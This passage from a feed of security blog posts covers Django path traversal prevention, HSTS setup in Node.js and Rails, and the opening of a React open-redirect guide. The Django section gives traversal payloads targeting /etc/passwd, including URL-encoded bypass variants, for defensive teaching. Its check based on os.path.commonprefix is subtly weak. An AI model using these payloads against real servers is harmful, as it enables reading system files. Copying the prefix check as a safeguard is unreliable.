&lt;b&gt;ALLOWED_INCLUDE_ROOTS&lt;/b&gt; setting, putting the &lt;b&gt;/home/html/../../etc/passwd&lt;/b&gt; to the SSI template will get the attacker into the &lt;b&gt;/etc/passwd&lt;/b&gt; directory. &lt;/p&gt;&lt;p&gt;In case you’re wondering how, adding &lt;b&gt;../&lt;/b&gt; means going one level out of the current directory. In our case, our current directory is &lt;b&gt;/html&lt;/b&gt;; now adding double &lt;b&gt;../../&lt;/b&gt; dot-dot-slash means going two levels out of the current directory. As a result, this takes us into that directory where &lt;b&gt;/home&lt;/b&gt; and &lt;b&gt;/etc&lt;/b&gt; are stored. And from there, we can get into the &lt;b&gt;/etc/passwd/&lt;/b&gt; directory and access its files by just writing the file path after the &lt;b&gt;dot-dot-slash&lt;/b&gt; sequence. &lt;/p&gt;&lt;h4&gt;Prevention&lt;/h4&gt;&lt;p&gt;So, how can you prevent this kind of attack? &lt;/p&gt;&lt;p&gt;The Django team was notified of the vulnerability in the SSI template tag and they made an amendment. The SSI template that wasn’t using Python’s &lt;b&gt;os.path.abspath&lt;/b&gt; method to determine the absolute path of the file and whether it’s located in the permitted directory by &lt;b&gt;ALLOWED_INCLUDE_ROOTS&lt;/b&gt; is now reinforced to use the &lt;b&gt;os.path.abspath&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;So all you have to do is upgrade Django to a newer version. You can do that by running the following commands, depending on your machine. &lt;/p&gt;&lt;p&gt;On Windows: &lt;/p&gt;&lt;p&gt;&lt;code&gt;py -m pip install -U Django&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;On Linux and Mac: &lt;/p&gt;&lt;p&gt;&lt;code&gt;python -m pip install -U Django&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Django versions that are vulnerable to path traversal attack via the SSI template tag include version 1.4.x before 1.4.7, version 1.5.x before 1.5.3, and version 1.6.x before 1.6 beta 3. So if you&amp;#39;re using any of these versions, all you have to do is upgrade.&lt;/p&gt;&lt;h3&gt;2. Via HTTP Request&lt;/h3&gt;&lt;p&gt;Another example of path traversal in Django is by manipulating file names and making requests. For example, you have an &lt;b&gt;&amp;lt;img/&amp;gt;&lt;/b&gt; element in your template that looks like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;img src=”/getImage?filename=sushi.jpg” /&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The &lt;b&gt;getImage&lt;/b&gt; URL takes a &lt;b&gt;filename&lt;/b&gt; parameter that returns the specified file requested. Now let’s say your images are stored in a folder somewhere, like &lt;b&gt;/restaurant/menu/images&lt;/b&gt;. The application appends the requested file name with the directory, &lt;b&gt;/restaurant/menu/images/&lt;/b&gt;, which will turn to &lt;b&gt;/restaurant/menu/images/sushi.jpg&lt;/b&gt;. Then the file system API is used to read the file. &lt;/p&gt;&lt;p&gt;However, this has no defense against path traversal attacks. So, an attacker might use your site’s full URL to gain access to restricted content. Let&amp;#39;s look at the following example: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://my-django-site.me/getImage?filename=../../../etc/passwd&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Here, as we already know, this is valid within the file path, because initially the base directory (&lt;b&gt;/restaurant/menu/images/&lt;/b&gt;) is appended to your request, which will become &lt;b&gt;/restaurant/menu/images/../../../etc/passwd&lt;/b&gt;. And now this can possibly take the user to the root and get access into the &lt;b&gt;/etc/passwd/&lt;/b&gt; folder. &lt;/p&gt;&lt;p&gt;Unless you’re using an old version of Django, Django checks for path traversal in your requests by default. But there are various ways in which an attacker might bypass Django path traversal checks. For example, an attacker might be able to use various encoding and double encoding, such as: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;%2e%2e/&lt;/b&gt;, which represents &lt;b&gt;../&lt;/b&gt; (dot-dot-slash)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;%2e%2e%2f&lt;/b&gt;,  which represents &lt;b&gt;../&lt;/b&gt; (dot-dot-slash)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;..%2f&lt;/b&gt;, which represents &lt;b&gt;../&lt;/b&gt; (dot-dot-slash)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;%2e%2e\&lt;/b&gt;, which represents &lt;b&gt;..\&lt;/b&gt; (both &lt;b&gt;../&lt;/b&gt; and &lt;b&gt;..\&lt;/b&gt; are valid traversal sequences on Windows)&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;And so on. Then an attack like the following is likely going to escape through: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://my-django-site.me/getImage?filename=%2e%2e%2fetc/passwd&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;So, how can you avoid this kind of attack?&lt;/p&gt;&lt;h4&gt;Prevention Tip #1&lt;/h4&gt;&lt;p&gt;One of the easiest things you can do is to update to the latest version of Django, but that won’t solve it all. In your code, you have to validate the URL requests and also the file names of attachments. For example, &lt;b&gt;/restaurant/menu/images/sushi.jpg&lt;/b&gt; isn’t the same as &lt;b&gt;/restaurant/menu/images/../../etc/passwd&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;We can use the Python &lt;b&gt;os.path.realpath&lt;/b&gt; to get the canonical path of the specified file name or directory by removing any &lt;a href=&quot;https://en.wikipedia.org/wiki/Symbolic_link&quot;&gt;&lt;u&gt;symlink&lt;/u&gt;&lt;/a&gt; (or symbolic links). The &lt;b&gt;dot-dot-slash&lt;/b&gt; is an example of a symbolic link. &lt;/p&gt;&lt;p&gt;Now we can validate the requested file or path like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;attackersUrl = ‘/restaurant/menu/images/../../etc/passwd’
attackersUrl = os.path.realpath(attackersUrl)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This will return /etc/passwd/. Then we can compare whether the attacker’s requested path has a common prefix with our base directory, which is /restaurant/menu/images/, by using the os.path.commonprefix method. &lt;/p&gt;&lt;p&gt;The following code compares the requested path: &lt;/p&gt;&lt;p&gt;&lt;code&gt;attackersUrl = ‘/restaurant/menu/images/../../etc/passwd’
attackersUrl = os.path.realpath(attackersUrl)
baseDir = ‘/restaurant/menu/images/’
commonPrefix = os.path.commonprefix([attackersUrl, baseDir])
if commonPrefix != baseDir:
   #trying to attack using dot-dot-slash do not return file or path requested&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;Prevention Tip #2&lt;/h4&gt;&lt;p&gt;We can also use the Python &lt;b&gt;os.path.relpath&lt;/b&gt; to convert the requested path into a path relative to our base directory, which is &lt;b&gt;/restaurant/menu/images/&lt;/b&gt;. After that, we can convert the requested path again into an absolute path using the &lt;b&gt;os.path.abspath&lt;/b&gt; method, which will return the absolute path URL of the attacker’s requested path. &lt;/p&gt;&lt;p&gt;Here’s some code to demonstrate this solution:&lt;/p&gt;&lt;p&gt;&lt;code&gt;baseDir = “/restaurant/menu/images/”
attackersUrl = “/restaurant/menu/images/../../etc/passwd”
os.path.relpath(attackersUrl, start=baseDir)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above code will return ..\\..\\etc\\passwd, depending on the operating system you’re using. After that, we can use the python os.path.abspath to convert the requested path (attackersUrl) into an absolute path from the main directory. We’ll then use the os.path.commonprefix to check for a common prefix between our base directory (/restaurant/menu/images/) with the recently converted absolute path of the attackers URL. &lt;/p&gt;&lt;p&gt;&lt;code&gt;attackersUrl = os.path.abspath(attackersUrl)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;From the code snippet above, &lt;b&gt;attackersUrl&lt;/b&gt; will return an absolute path, which will become (depending on your application directory structure): &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://my-django-site.me/var/www/etc/passwd&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;From there, we can compare the common prefix using the following code: &lt;/p&gt;&lt;p&gt;&lt;code&gt;os.path.commonprefix([attackersUrl, baseDir])&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now this will return an empty string because there’s no common prefix between the two paths. So from there you can choose not to return the requested file or path. &lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;A general solution to Django path or directory traversal attack is to upgrade to the latest version. This is because the maintainers of Django identify and fix security vulnerabilities in new versions. &lt;/p&gt;&lt;p&gt;However, be sure to validate user inputs before you use them in your application. Doing so gives an extra layer of security and makes it harder for attackers to hack your site. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Pius Aboyi. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/aboyipius/?originalSubdomain=ng&quot;&gt;&lt;u&gt;&lt;i&gt;Pius&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Node.js HTTP Strict Transport Security Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/node-js-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;For developers, security measures and policy enforcement are a regular routine for our projects. Having a sound security layer and ensuring basic protocols have become the bread and butter for all client-facing platforms. We can&amp;#39;t say that 100% of the web is secured adequately from the myriad of threats out there. But we can confidently say that most efforts are pushing the needle in that direction.&lt;/p&gt;&lt;p&gt;That being said, not all security features have the same impact or protect the users in the same way. One such feature is HTTP Strict Transport Security or HSTS. &lt;/p&gt;&lt;p&gt;This article will briefly define what HTTP Strict Transport Security is. We will also see what makes it a fundamental part of secure communication between your server and the client. Additionally, we will explore how to enable HSTS on Node.js properly. Finally, we will examine some of the issues that might arise and how to go about fixing them.&lt;/p&gt;&lt;p&gt;If your level of experience with Node.js is low or you have not dipped your toes in it yet, we recommend you make yourself acquainted with&lt;a href=&quot;https://nodejs.dev/en/learn&quot;&gt; this wealth of information on Node.js&lt;/a&gt;. It&amp;#39;s essential to have a basic understanding of Node.js to grasp the concepts we will explore in this post.&lt;/p&gt;&lt;h2&gt;What Is HTTP Strict Transport Security?&lt;/h2&gt;&lt;p&gt;While the web currently relies on SSL/TLS protocols to encrypt and secure the communication between client and server, ensuring that all transactions performed by the browser are in these secure protocols is another matter entirely. &lt;/p&gt;&lt;p&gt;A standard flow for communication with a website is to first make an HTTP request to the domain and, if the server is implementing SSL/TLS with a valid certificate and enforcing HTTPS rerouting, be redirected (301) to the same site with an HTTPS request. This method ensures that all communication between the client and server is performed securely through HTTPS. All good, right?&lt;/p&gt;&lt;p&gt;Well, not really.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;MITM Scenario&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;If we consider a scenario where our unsuspecting user reaches our server through a compromised network—think of a fake access point disguised as legitimate in a public area—the initial handshake can open the door to trouble. By intercepting the communication between the parties, attackers can act as a filter of sorts. They can rewrite all communication between the client to HTTP while keeping the server&amp;#39;s transactions encrypted. With this approach, the attackers fool the server into believing that the handshake was successful and all transactions are secure. Meanwhile, the attackers intersect all data the client sends to our server and reads it as it is unencrypted.&lt;/p&gt;&lt;p&gt;This approach is called &amp;quot;man in the middle&amp;quot; or MITM. Additionally, the attack is known as SSL stripping because it basically strips the client from the much-needed security of SSL.&lt;/p&gt;&lt;p&gt;Yikes! So what can we do then?&lt;/p&gt;&lt;p&gt;Well, we can make sure that the browser exclusively communicates with our server using secure protocols and encryption by explicitly telling it to do so. That is, in essence, what HTTP Strict Transport Security does, and it is fundamental to secure our platforms reliably.&lt;/p&gt;&lt;h2&gt;How to Enable HSTS on Node.js&lt;/h2&gt;&lt;p&gt;Enabling HSTS is quite simple and straightforward. The browser and the security measures already baked in it do most of the work. All you have to do to implement a fundamental layer of security with HSTS is add the following header to your responses:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains; preload&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;A basic implementation of this in Node.js would look like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.use(function(req, res, next) {
  if (req.secure) {
    res.setHeader(&amp;#39;Strict-Transport-Security&amp;#39;, &amp;#39;max-age=31536000; includeSubDomains; preload&amp;#39;);
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  next();
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This header contains one compulsory and two optional directives.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;max-age (compulsory): This directive indicates how long the browser will store the header and effectively comply with the policy. Notice that we have set the value as 31536000, which equates to one year. You can put any value you consider appropriate, but remember that your clients will not have access to your site if there is an issue with your SSL certificate once the browser receives the HSTS policy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;includeSubDomains (optional): This directive indicates whether the subdomains will need to comply with the policy. If you have mywebsite.com with an SSL certificate and set the header for clients who visit it, then www.mywebsite.com and subdomain.mywebsite.com will also be required to follow the same HSTS policy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;preload (optional): This directive indicates that you want to add your site to the HSTS preload list included in the browser. This list essentially cements your website to follow HSTS for that client permanently.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Now that we understand what the HSTS policy is telling the browser to do, let&amp;#39;s see what is actually happening.&lt;/p&gt;&lt;p&gt;&lt;i&gt;An error in a Google Chrome browser that says the user&amp;#39;s connection is not private.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;We can see an error displayed in Chrome, indicating that this website typically works with encryption. Still, the browser detected some shenanigans, so it&amp;#39;s stopping you from interacting with the suspicious website.&lt;/p&gt;&lt;h2&gt;Correcting HSTS Errors&lt;/h2&gt;&lt;p&gt;As stated in the error, the suspicious activity could be an attacker trying to impersonate the server, a WiFi login screen, or maybe the server itself does not have proper SSL/TLS configuration.&lt;/p&gt;&lt;p&gt;Since we know that we set up our website to fail this verification intentionally, our course of action should be to ensure that the setup is correct and, in case we are in the process of deploying HSTS for the first time, to have a proper plan and follow it closely.&lt;/p&gt;&lt;p&gt;Here is a checklist of steps you can follow, inspired by&lt;a href=&quot;https://scotthelme.co.uk/hsts-cheat-sheet/&quot;&gt; &lt;u&gt;Scott Helme&lt;/u&gt;&lt;/a&gt;&amp;#39;s HSTS tutorial:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Find all subdomains that belong to your site (consult DNS CNAME entries). Note that they might belong to third-party services.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Confirm that the root domain and its subdomains are accessible via HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make sure you configured proper redirection of HTTP to HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Set a short expiration time. For example, &amp;quot;max-age=300&amp;quot; (five minutes).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Append the &amp;quot;includeSubDomains&amp;quot; directive if necessary.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Increment &amp;quot;max-age&amp;quot; in stages. Strive for two years of validity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Once all is good, add the &amp;quot;preload&amp;quot; directive.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Submit your domain to Google&amp;#39;s HSTS preload list, which will ensure that future versions of all major browsers have your domain preloaded and marked as secure-only. (This is optional.)&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Once you have completed the procedure, your site will be enforcing HTTPS communication only, and new visitors will follow through with the policy.&lt;/p&gt;&lt;p&gt;Of course, no solution is perfect, and there is still some possibility of a breach by highly sophisticated attacks. Nevertheless, implementing SSL/TLS and HSTS policy goes a long way to protect 99.9% of the web.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Summing Up&lt;/h2&gt;&lt;p&gt;The HTTP Strict Transport Security policy is, at this point, a fundamental building block for the web. Its implementation is essential to ensure the security of clients who nowadays access our platforms from many different avenues and in a myriad of ways. However, it can be our Achilles&amp;#39; heel if not implemented properly.&lt;/p&gt;&lt;p&gt;The infrastructure of the web itself, as it was built, did not conceive of the possibility of access point impersonation and MITM attacks. This is why we must keep making improvements to the security pipelines that are in use on the web we know and love. And that usually means that we have to work extra hard and stay vigilant of new threats and forms of attack.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails HTTP Strict Transport Security Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Implementing a solid security layer for our applications and assuring necessary rules have become a required step for the web in the last decades. Of course, we can&amp;#39;t claim that 100% of the web is protected against the myriad of threats popping up everywhere. Nevertheless, there is a real push from many fronts to keep perfecting security measures on the web.&lt;/p&gt;&lt;p&gt;That being said, not all security features are made the same way or have the same impact to protect our users. For example, one of the most essential features to protect our users is HTTP Strict Transport Security or HSTS. &lt;/p&gt;&lt;p&gt;This article aims to examine HSTS in the context of Ruby on Rails. First, we will briefly define what HSTS is and what makes it fundamental to secure communication between your server and the client. Additionally, we will explore how to enable the security feature on Rails. And finally, we will review some of the issues that might emerge.&lt;/p&gt;&lt;p&gt;Note that if your proficiency level with Ruby on Rails is weak or you are just dipping your toes in it, we recommend that you familiarize yourself with&lt;a href=&quot;https://guides.rubyonrails.org/&quot;&gt; &lt;u&gt;their guides&lt;/u&gt;&lt;/a&gt; to learn more. It is important to understand modern Ruby on Rails to follow the concepts we discuss in this article. &lt;/p&gt;&lt;h2&gt;Defining HTTP Strict Transport Security&lt;/h2&gt;&lt;p&gt;The most fundamental protection against eavesdropping over our data is encryption. Ensuring that we encrypt our transactions with the proper protocols is critical for any web platform, whether it requires user information or not. Yet, while the web depends on SSL/TLS protocols to encrypt and secure communications between client and server, guaranteeing that all transactions are secure is another matter entirely. &lt;/p&gt;&lt;p&gt;To illustrate, a conventional flow of communication with a website is to first make an HTTP request to the domain and, if the server is implementing SSL/TLS with a valid certificate and enforcing HTTPS rerouting, be redirected (301) to the same site with an HTTPS request. This process guarantees that all communication between the client and server is performed securely through encryption.&lt;/p&gt;&lt;p&gt;Except that it doesn&amp;#39;t.&lt;/p&gt;&lt;p&gt;Consider the following scenario.&lt;/p&gt;&lt;h3&gt;MITM Attack&lt;/h3&gt;&lt;p&gt;If an unsuspecting user attempts to reach our server through a compromised network (a bogus access point disguised as legitimate), the introductory handshake can be a source of vulnerabilities. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Attackers can intercept the communication between client and server, acting as the go-between in the middle. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;They can then rewrite all communication between themselves and the user to be unencrypted.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;All transactions between the attackers and the server remain encrypted, fooling the server into believing the user is protected.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Meanwhile, the attackers intersect all data the user sends to our server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Profit.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The attack we just described is known as SSL stripping. It works by basically stripping the client of any encryption security.&lt;/p&gt;&lt;p&gt;Not good. So what can we do?&lt;/p&gt;&lt;p&gt;The most crucial step in this attack is the initial handshake. To prevent this from happening, we must ensure that the browser exclusively communicates with our server using encryption. The best way to do that is to tell the browser to do so explicitly. That is, in principle, what HTTP Strict Transport Security is, and it is a keystone to secure the web.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Adding the HSTS Header on Rails&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Our browsers, and the security features baked in them, do most of the work for us in order to keep us safe. All you need to do to implement a primary layer of security with HSTS is to add this header to your server responses.&lt;/p&gt;&lt;p&gt;&lt;code&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains; preload&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Doing this on Rails would look like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;# application.rb&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;...
  config.ssl_options = { hsts: { preload: true, expires: 1.year, subdomains: true } }
...&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;HSTS headers contain three directives, one compulsory and two optional.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;max-age: This states how long the browser will comply with the policy. Notice that we have set the value as 31536000, which equates to one year. You can put any value you consider appropriate, but remember that your clients will not have access to your site if there is an issue with your SSL certificate once the browser receives the HSTS policy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;includeSubDomains: This optional directive states whether the subdomains will need to comply with the policy. If you have mywebsite.com with an SSL certificate and set the header for clients who visit it, then www.mywebsite.com and subdomain.mywebsite.com will also be required to follow the same HSTS policy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;preload: This optional directive states that you want to add your site to the HSTS preload list included in the browser. This list essentially cements your website to follow HSTS for that client permanently.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Additionally, we recommend that you confirm that you are forcing Rails to redirect all transactions from HTTP to HTTPS. To do that in Rails, add the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;# application.rb&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;...
  config.force_ssl = true
  config.ssl_options = { hsts: { preload: true, expires: 1.year, subdomains: true }, redirect: { status: 307, port: 81 } }
...&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;An understanding of the HSTS header is required, but we also need to be aware of what happens to our website when it&amp;#39;s not ready to follow the policy.&lt;/p&gt;&lt;p&gt;&lt;i&gt;An error in a Google Chrome browser that says the user&amp;#39;s connection is not private.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Here we see an error in our browser, indicating that the server marked this website as working exclusively with encryption. Yet the browser detected something was not right, so it&amp;#39;s displaying this error instead of loading the site.&lt;/p&gt;&lt;h2&gt;HSTS Step by Step&lt;/h2&gt;&lt;p&gt;We can read from the error what the possible sources of the problem are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The suspicious activity could be from an attacker trying to impersonate the server.  &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A WiFi login screen could be interfering with the loading process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The server doesn&amp;#39;t have an adequate SSL/TLS configuration.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Now, we know what the problem is. We intentionally set up our website to fail the HSTS policy check, so our course of action should be to ensure that we set up encryption correctly. Additionally, if we are deploying HSTS for the first time, we must have a proper implementation plan.&lt;/p&gt;&lt;p&gt;Here is a checklist of steps to follow based on&lt;a href=&quot;https://scotthelme.co.uk/hsts-cheat-sheet/&quot;&gt; &lt;u&gt;Scott Helme&lt;/u&gt;&lt;/a&gt;&amp;#39;s HSTS tutorial:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Find all subdomains that belong to your site (consult DNS CNAME entries). Note that they might belong to third-party services.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Confirm that the root domain and its subdomains are accessible via HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make sure you configured proper redirection of HTTP to HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Set a short expiration time. For example, &amp;quot;max-age=300&amp;quot; (five minutes).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Append the &amp;quot;includeSubDomains&amp;quot; directive if necessary.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Increment &amp;quot;max-age&amp;quot; in stages. Strive for two years&amp;#39; validity.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Once all is good, add the &amp;quot;preload&amp;quot; directive.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Submit your domain to Google&amp;#39;s HSTS preload list, which will ensure that future versions of all major browsers have your domain preloaded and marked as secure-only. (This is optional.)&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;After you follow all these steps, you will have a site enforcing HTTPS communication only. From that point on, all users will obey the policy.&lt;/p&gt;&lt;p&gt;Great, right?&lt;/p&gt;&lt;p&gt;Yes! But also, not so much. As we know already, no solution is perfect, and there is still some possibility of a breach by highly complex attacks. Nevertheless, implementing SSL/TLS and HSTS policy goes a long way to protect 99.9% of the web. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Security Measures Going Forward&lt;/h2&gt;&lt;p&gt;Implementing HTTP Strict Transport Security policy is a fundamental building block of security for the web. Having it placed is required to guarantee the protection of users accessing our platforms from many different sources.&lt;/p&gt;&lt;p&gt;Of course, we count on decades of work that have compounded over the advancements in security introduced at the time of conception of the web. Keeping our platforms secure is no easy task, and the threats out there keep getting more and more sophisticated. So we must close as many gaps as possible in our platforms to ensure that our users can safely consume our services and tools.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[React Open Redirect Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/react-open-redirect-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;From payments and password resets to downloads, website redirections are everywhere. They&amp;#39;re a popular way to perform background actions and navigate users to the relevant pages after the action is complete. &lt;/p&gt;&lt;p&gt;However, with a subtle blend of &lt;a href=&quot;https://www.csoonline.com/article/2124681/what-is-social-engineering.html&quot;&gt;&lt;u&gt;social engineering&lt;/u&gt;&lt;/a&gt;, attackers could use your website&amp;#39;s redirection feature to steal your users&amp;#39; data. &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html&quot;&gt;&lt;u&gt;Open redirect&lt;/u&gt;&lt;/a&gt; is a vulnerability that allows an attacker to control your website redirections. &lt;/p&gt;&lt;p&gt;But what exactly is open redirection, and how can you prevent it? &lt;/p&gt;&lt;p&gt;In this post, you&amp;#39;ll understand what open redirections are and how you can prevent them in your React application. &lt;/p&gt;&lt;h2&gt;Redirections: What, Why, and Where&lt;/h2&gt;&lt;p&gt;You might think, &amp;quot;If open redirection is harmful, why not just disable redirections from the website?&amp;quot; Well, website redirections aren&amp;#39;t a security vulnerability in themselves. You can consider them a feature or a way to enhance user experience for some actions on your site. Therefore, to understand open redirection, let&amp;#39;s have a quick refresher on redirections in general. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s say you have an e-commerce website where your users can buy some items. So you have a simple cart page where the user sees what items they&amp;#39;re purchasing. &lt;/p&gt;&lt;p&gt;Now let&amp;#39;s say you decide to integrate a third-party payment provider into your application. So now when the user lands on the cart page, you add a redirect URL property in your cart page&amp;#39;s URL. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Redirecting from cart to checkout page in an e-commerce site.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;This allows you to grab the redirect URL and immediately redirect the user to the payments page, where they make the actual payment. This is a classic example of redirections in e-commerce websites. &lt;/p&gt;&lt;h2&gt;Other Examples&lt;/h2&gt;&lt;p&gt;Websites that allow you to download files also use 